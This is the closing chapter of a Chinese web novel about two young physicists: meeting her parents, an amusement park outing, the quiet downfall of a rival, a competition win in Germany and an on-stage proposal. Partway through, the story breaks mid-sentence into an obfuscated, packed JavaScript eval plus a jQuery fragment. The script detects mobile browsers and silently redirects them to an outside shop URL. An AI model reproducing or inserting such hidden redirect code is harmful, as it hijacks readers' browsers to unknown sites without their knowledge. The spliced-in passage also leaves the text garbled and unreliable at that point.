终于捱到了周六回家的这天。
闻念走下出租车,望着亲切的小区大门,第一次萌生出“近乡情怯”的实感。
她领着沈瑜川朝自家单元门走,语气如同交代后事般沉重:“如果你搞不定我妈,到时候我就跟她摊牌,是我主动要跟你同居,看能不能挽回一点你点形象。”
沈瑜川笑出声,停下脚步,把她拉到身边。
“那你的形象怎么办?”
“反正都已经这样了,坏也坏不到哪去。而且,再怎么样她也不会跟自己女儿置气。”
“这么想让阿姨认可我?”沈瑜川眼中笑意更深。
闻念听他的语气,像是她做了什么亏心事似的。
她又没有跟别人合起伙来骗自己老妈。
“我的说的也算实话。”
同居这事,在跟沈瑜川结过婚的闻念眼里,十分顺理成章。
可问题就出在,这种“顺理成章”只存在于她的视角。
而且原因她还没办法解释。
“不过你还是准备好接受我妈的质问吧,等你顶不住了我再上。”
沈瑜川拉起她的手,捏住掌心:“有我在,哪用你冲锋陷阵?”
闻念对沈瑜川这种云淡风轻的态度不慎认可。
直到站在家门外那一刻,她还在提心吊胆。
没一会儿,门内传来窸窣响动。
闻念挡在沈瑜川前,在看见赵雪萍女士的瞬间,脸上浮现笑意,说话的声音也格外甜:“妈,我回来啦。”
迎接她的并非预料中的冷淡与严肃,而是满脸的热情,只不过这热情并不是给她的,而是穿过她,直达身后的沈瑜川。
“小川,你来了?快进来。”赵雪萍这才看向闻念,“妈厨房还炖着东西,你给小川拿下拖鞋。”
“?”
闻念愣住一秒。
倏然抬头,满脸疑惑地看着沈瑜川,声音有些变形:“小、川?”
沈瑜川低下头,在他耳边:“看来我的长相确实挺合阿姨心意。”
闻念:“......”
闻念进屋后,站在厨房门边:“不是说我们吃过饭了吗,怎么还在炖东西?”
赵雪萍抽空瞄了闻念一眼。
“又不是专门给你炖的。你爸学校打篮球的那个队友,歪着脚了,下不来床,你爸在他面前显摆我炖的汤补身体还好喝,这不让我露一手。”
提起来闻成礼,闻念这才想起来在家没看见他:“我爸人呢?”
“花园浇花呢。”
“......”
闻念家住在一楼,阳台外是个小花园,几乎被闻成礼种的花和蔬菜占满。夏天的时候,家里做饭都不用去超市买菜。
闻念刚走到客厅,阳台门忽然被打开,沈瑜川走了进来。
她走到他身边,抬头看了他一眼,视线又越过他,看向阳台外的闻成礼。
“你干嘛去了?”
“跟叔叔聊会天儿。”
闻念狐疑地看着他,声音低地像做贼一样:“你给我爸妈下什么迷魂药了?又是小川又是聊天的.....”
难不成在她昏迷的时候,沈瑜川还在医院做了什么感动她爸妈的事,但是她不知道?
沈瑜川还没来得及说话,赵雪萍就端着两个碗从厨房走来。
“这是给老闻他受伤的朋友炖的汤,你们俩也尝尝。”
闻念拉着沈瑜川在餐厅坐下。
这汤她一看就知道是什么,所以没有太大的吸引力,喝了一小口后,注意力就转向了赵雪萍。
闻念稍稍侧身靠近:“妈,有什么事就直说吧,我也不是小孩子了,你这样顾左右而言他的,我反而有些慌。”
“能有什么事?”
闻念愣住半秒,眨眨眼。
她俩到底谁失忆了?
“就是想你了,喊你回来看看妈妈。刚好带上小川,上次在云市见过后,也有好长时间了。”赵雪萍笑得开心,“今天张教授还问我你俩的事呢,电话里一直夸小川是个好孩子。”
“你们南州大学物理院的那个张教授?”闻念左看看沈瑜川,右看看赵雪萍,“他怎么还认识沈瑜川?”
沈瑜川接过话:“去年暑假我在南州大学参观粒子加速器实验,认识了张教授,后来有向他请教过物理学方面的问题。”
去年暑假。
也就是闻念第一次见他的时候。
“你俩在一起,爸妈都开心,好好相处,别欺负人家小川。”
沈瑜川:“应该是我多照顾她。”
闻念:“......”
直到下飞机,晚上坐车回到沈瑜川的公寓,闻念整个人还是恍惚的。
两人洗漱过后,窝在沙发上各干各的事。
因为闻念在电脑上整理即将送给方明诚的“礼物”,她特意跟沈瑜川隔开,半躺在沙发床上。
这会儿她事办完,看着一米外的沈瑜川,却忍不住了。
闻念挪到他身边。
沈瑜川捉住她的一只手放在腿上,视线还停留在电脑屏幕上。
闻念看了一眼,是篇物理文献,目前位置在推演过程分析。
解构物理学复杂理论,思路断了就要从头开始。
她和沈瑜川之间有个不成文的默契,具体怎么养成的,闻念没有印象,如同水到渠成一般。
那就是,如果没有什么要紧事儿,两人都会耐心地等对方结束完整的思考过程。
所以这会儿闻念没说话,只是静静地靠在沈瑜川身上,跟他一起浏览。
过了几分钟,一个章节结束,闻念知道他该说话了。
果不其然。
沈瑜川在合上电脑的时候,捏了下她的掌心,侧过头在她发顶上落下一吻,声音很轻:“怎么了?”
闻念想起刚才来找他的原因。
“就是忽然想起来今天下午我妈说的话。”她眯眯眼,仿佛嗅到了什么秘密,“张教授在我妈面前问咱俩的事,不会是你撺掇的吧?”
“我猜张教授不止问了咱俩的事,肯定还说了你的好话。”
沈瑜川轻笑一声:“张教授不是我撺掇的。”
“这话有诈。”闻念斩钉截铁道。
“嗯。”沈瑜川坦白,“我撺掇的是陈平良教授,他认识不少南州大学的老师。具体有多少人被陈教授撺掇,我就不得而知了。”
“原来如此。”闻念气笑,“怪不得你之前那么云淡风轻。”
沈瑜川看她撇着嘴,脸上的笑意也不敢太明显,只好煞有介事地问一句:“生气了?”
她靠在沈瑜川怀里,手指拨弄着腰间的那只大手,说:“没有。”
闻念语气抬头寻找他的视线,“今天一切顺利,我爸妈也很喜欢你。我好开心啊,沈瑜川。”
“我也开心。”沈瑜川倾身,把人抱到腿上,“跟你父母在一起,久违地有了家的感觉。”
闻念心头一酸。
手臂环上他的脖子,交颈相拥。
再开口时,像是小声抱怨:“你怎么还没到年龄啊,好想现在就跟你结婚。”
沈瑜川顺着她的背,没有说话。
他也想让时间过得再快一些。
闻念知道这问题一时半会儿没办法解决,片刻后,又问:“你有没有什么没实现的童年愿望?等选拔结果公布之后,我陪你一起去实现它们。”
沈瑜川静静想了会。
“小时候觉得天大的事,长大后都不重要了。”
“倒是你,前段时间天天实验室教研室两头跑,有没有什么想去的地方,过两天带你去。”
闻念抬起头,眉头拧在一起,手攥成拳,轻锤了一下他的肩膀:“你总是这样,不在乎自己感受,什么都无所谓。其实是你小时候的需求没有得到满足,久而久之就不再提出要求。这样是不正常的。”
沈瑜川挨了一下,茫然地看着她,嘴唇微微动了动,似乎想说些什么,却终究只是轻笑了一声。
他真的没觉得自己受了什么委屈,反而很乐意陪她去她想去的地方。
闻念清了清嗓子。
“我来拍板。下个周末我们去游乐园。”
沈瑜川眸光微动,随即别开了视线,语气淡淡:“幼稚。”
“哪里幼稚?”闻念不容拒绝地看向他。
“哪有成年人去游乐园的?”
闻念不依不饶,双手环胸,眼神坚定:“谁规定成年人不能去游乐园了?”
她突然贴近,手撑着沈瑜川的肩膀,在他脸上杂乱无章地亲了好几下,声音糯糯地问:“去不去?”
沈瑜川被她这突如其来地主动弄得有些措手不及,脸上的镇定瞬间瓦解。
他抬手揉了揉被咬疼的脸颊,眼中掠过一丝无奈,嘴角却不自觉地上扬了几分。
“去。”他轻笑。
浓重的笑意瞬间在闻念眼角摊开,扑进他的怀里:“成交!”
选拔的最终结果在第二天下午公布。
和“上辈子”一样,闻念和沈瑜川都在入围名单,与另外五名队员组成了国家代表队。下个月,他们将前往德国,参加物理界的顶尖赛事——国青赛。
这一个月,闻念除了备赛,还干了两件大事。
第一件事关于方明诚。
根据沈瑜川留下的信息,方明诚的崛起,会在他架空方儒并夺取临西工业集团的控制权之后。
对方明诚的调查,可以说是十分详细。
闻念十分震惊,方明诚竟然能伪装得那么无害,隐忍而不动声色,仿佛一只在暗处等待时机的毒蛇。
不仅让方儒完全信任他这个私生子,并且设计挑拨他与正妻所生孩子之间的关系,使得方儒最终只能把希望寄托在他身上。
在架空方儒后,他又能不顾恩情,立刻毫不留情地将人踢出棋局。
闻念要做的其实很简单——揭露方明诚的真面目,让方儒有所防备,断掉方明诚获得滋养的源头。
她不需要把知道的所有东西全盘托出,甚至不必亲自现身。
只要让方儒心生怀疑,方明诚的行动再验证了她透露的信息,一切都会水到渠成。
第二件事,就是和沈瑜川一起去了约定好的游乐园。
说是游乐园,其实是本地一家颇为有名的游乐场,里面有不少大型游乐设施,还有5D沉浸式场景游戏。
所以,沈瑜川口中的“成年人”也不在少数,与小孩比,数量不相上下。
这游乐场建成之后,闻念去过一次,好像是她十二岁那年,有些地方竟然还有印象。
闻念拉着沈瑜川,终于体验了那台她十二岁时因身高不达标而错过的过山车。
下来时,她有幸目睹沈瑜川扶着出口的栏杆,双腿发软的样子。
尽管闻念自己也难受着,但还是忍不住捧腹大笑,并拿出手机记录下这珍贵的一刻,仿佛这是她挖掘到沈瑜川形象隐藏一角的有力证据。
他们又一起去坐了旋转木马,一起去玩射击游戏,她还被一个八岁的小男孩嘲笑技术差。
到最后,本打算酣战到闭园的闻念实在累的不行,太阳刚落山就举了白旗。在夕阳的余晖中,她歪在沈瑜川身上,摇摇晃晃地满载而归。
-
时间过的很快,转眼间就到了启程去德国的日子。
这次的带队老师,除了汪远舟,还有一名从国研所京市驻地来的负责人,薛任柠。
别人可以不认识她,但闻念却认识。
这是她当初刚进入国研所工作时的顶头上司。
再次遇见,闻念既要表现出和她素不相识,又要顶住来自上司天然的无形压力,这对她的演技确实是一次严峻的考验。
好在,薛任柠带来的一个消息,把整队人的注意力都吸引了过去。
当然也包括闻念。
方明诚被方儒从临西除名,并且放话,方明诚和临西,和他方儒,今后再无半点关系。
消息尚未传开,但薛任柠身在京市,近水楼台,临西工业集团跟国研所也偶有技术交流,这才提前知道一些内幕。
她说完,低声叮嘱大家不要外传,这消息是真是假尚不可知,当作茶余饭后的八卦听听便罢。
队伍里的人多多少少都对方明诚有所耳闻,但真正与他渊源最深的,闻念知道,只有一个人。
她看向沈瑜川,试图从他的脸上读出一些情绪。
沈瑜川的目光依旧淡漠,只是在与她对视时,眼底多出一丝柔和。
这个曾和沈瑜川纠葛一生的宿敌,终将如他此刻平静如水的神情一般,悄无声息的消失在他的生命里。
登机前,聂杉和师浩辰都来了,管小琴今天要打工,不得已只能错过。
这一趟要在德国待小半个月。
闻念本来还因为赵雪萍和闻成礼因为一些很奇怪的理由没来
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13426834|126085||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
送她有点小失落,看到他们俩,头顶的乌云立马散开了。
师浩辰站在沈瑜川旁,满眼都是艳羡。
热爱物理的人,应该没有人不想有机会参加国青赛吧?
他拍了拍沈瑜川的肩:“哎,兄弟我这辈子都追赶不上你了。”
沈瑜川双手插在口袋,语气十分欠揍:“你才发现?”
“得。”师浩辰翻了个白眼,“跟闻念在一块儿后,半点长进都没,还是跟以前一样,说话噎死人不偿命。”
他不服气地比了个手势:“就不能把你对闻念的耐心和情商,稍微分出来一捏捏。”
沈瑜川自然是没搭理他。
师浩辰也习惯了,他就是爱在沈瑜川面前犯贱,不然浑身上下不得劲。
他目光扫过旁边的国青赛队员,和闻念沈瑜川一样,穿着统一的队服。
师浩辰收回视线,忽然感慨。
“开往未来的列车,有车头,有车厢,有乘客,当然也需要有燃料。你们这些人呢,就负责推动人类历史的发展,安安心心当车头。我呢,就当好我的燃料,咱们谁缺了谁都不行。”
“这样一来,是不是侧面证明,我跟你们一样重要?”
沈瑜川难得一见地没有呛他,而是思考后,十分认真地回答:“大家都喜欢看天才的故事,也羡慕天才的光环,却忽略了坚持不懈的人同样值得歌颂。”
“师浩辰,每个背负自己使命的人,都很重要。”
没想到沈瑜川这狗还能说出来这么像样的人话,师浩辰都快被感动哭了,使出浑身解数才把眼泪憋回去。
他拍了拍沈瑜川的肩:“加油兄弟,等你凯旋。”
沈瑜川淡淡一笑,点了点头。
-
闻念对德国的印象,最深刻的是一种无法忽视的严肃与秩序感。
当然,也有具有亲切感的一面。
譬如建筑风格简洁而富有韵味,红砖房屋与青石小径相映成趣,散发着古朴与现代并存的独特魅力。
车轮战的赛程紧密,每个队伍几乎天天都有比赛。
十几天里仅有的一天休息时间,还被安排了赛后复盘。
好不容易出了趟国,闻念和沈瑜川只能在赛场周边匆匆转转,连景点都没机会去参观。
唯一还算不错的是,五月份的德国,阳光温暖而不炙热,空气中都弥漫着宁静与安逸的气息。尽管整个比赛节奏十分紧凑,却没有让闻念感觉十分难捱。
中国队很顺利坚持到最后,挺进决赛,并在决赛胜出,夺得冠军。
闻念虽然经历过,但喜悦却没有减弱分毫。她想,这样的场景就算经历十次,也依旧会让她激动到心跳如雷。
一座宽敞的大礼堂里,几十个国家的代表队和几百名参赛者齐聚一堂,参加晚宴。大家都安静地坐在桌旁,等待获奖队伍发表感言。
这场景和闻念记忆里相似,唯一奇怪的是,上一次发表感言是按照冠亚季的顺序,而这次,他们的冠军队伍却被放在了最后。
前两只队伍顺利发表完获奖感言,闻念跟着队伍,来到了领奖台上。
中国队的发言人是沈瑜川。
闻念抱着主办方发的捧花,和其他人站在一侧。
沈瑜川的声音在礼堂回响,整个世界都把目光投向了这个来自中□□芒毕露的年轻天才。
闻念的目光游走在台下。
忽然,视线顿住。
两张熟悉的面孔让她整个人的思绪被打乱——她的父母,赫然坐在观众席上。
沈瑜川平稳而有力在耳边变得模糊,取而代之的是她的心跳声。
到了最后的总结词。
闻念才渐渐缓过神,他的声音再次清晰。
沈瑜川环视一周:“......借助卡尔萨根的一句话,在广袤的空间和无限的时间当中,能和各位共享同一颗行星,同一段时光,非常荣幸。”
他的视线最终落在闻念身上。
台下的掌声响起,经久不息。然而,这次的掌声似乎比前两队更持久,也更富有节奏,仿佛在预示着什么。
突然,沈瑜川转身,朝闻念走来。
闻念的心跳顿时加快,她感到自己被整个会场喧嚣包围,却又仿佛与这一切隔绝开来。
看到她父母那一刻心中涌出的预感,在沈瑜川掏出装着戒指的小盒子时,变为现实。
会场被点燃的瞬间,闻念的眼泪充满眼眶。
她看见他虔诚的目光,感受到他沉稳的爱意,听见他坚定的声音。
沈瑜川一字一句地说:“闻念,在这么多不可思议的偶然和必然之中,与你相遇、相识、相爱,是我最大的幸运。”
他微微一笑:“你之前总是问,你怎么还没到年龄啊沈瑜川。”
闻念忍不住笑中带泪地点了点头。
“我之前没有回答过。但现在我想说,虽然我还不到二十二岁。”
沈瑜川单膝跪地,字字郑重:“闻念,你愿意给我这个机会,让我预订你的一生吗?”
闻念怔怔地望着他,眼中的泪水无法抑制地滑落。
在震动的掌声中,她缓缓点头,哽咽地说道:“我愿意。”
台下的掌声如潮水般涌来,欢呼声、喝彩声此起彼伏。
沈瑜川将戒指轻轻套在她的指间,如同签订一份不可磨灭的契约。
他站起身,将人轻轻拥入怀中。
闻念被他的力量包裹,小声嗔怪道:“这么大阵仗,居然还能瞒我这么久,不当间谍可惜了。”
沈瑜川在她耳边轻笑出声。
这个夜晚,闻念跑到沈瑜川的房间,非要和他赖在一张床上。
到了半夜,她却怎么也睡不着。
闻念从沈瑜川怀里缓缓挪出来,离开床时,下意识回头望向他。
她走到露台上,夜色如墨般浓稠,星光零碎地洒在天际。
闻念忽然想到聂杉曾问她的问题。
“沈瑜川这样的人,性格冷淡,沉默寡言,好像看谁都跟木头一样,你为什么会想要跟他在一起?”
远处的城市灯火微微闪烁。
没有人会知道,包括那时的闻念。
这样一个人,用94600个日升月落,把对她的爱,盖棺定论。
闻念抬头看向月亮,那背后有最广阔无垠的宇宙。
也埋藏着,她和时间的秘密。
-正文完-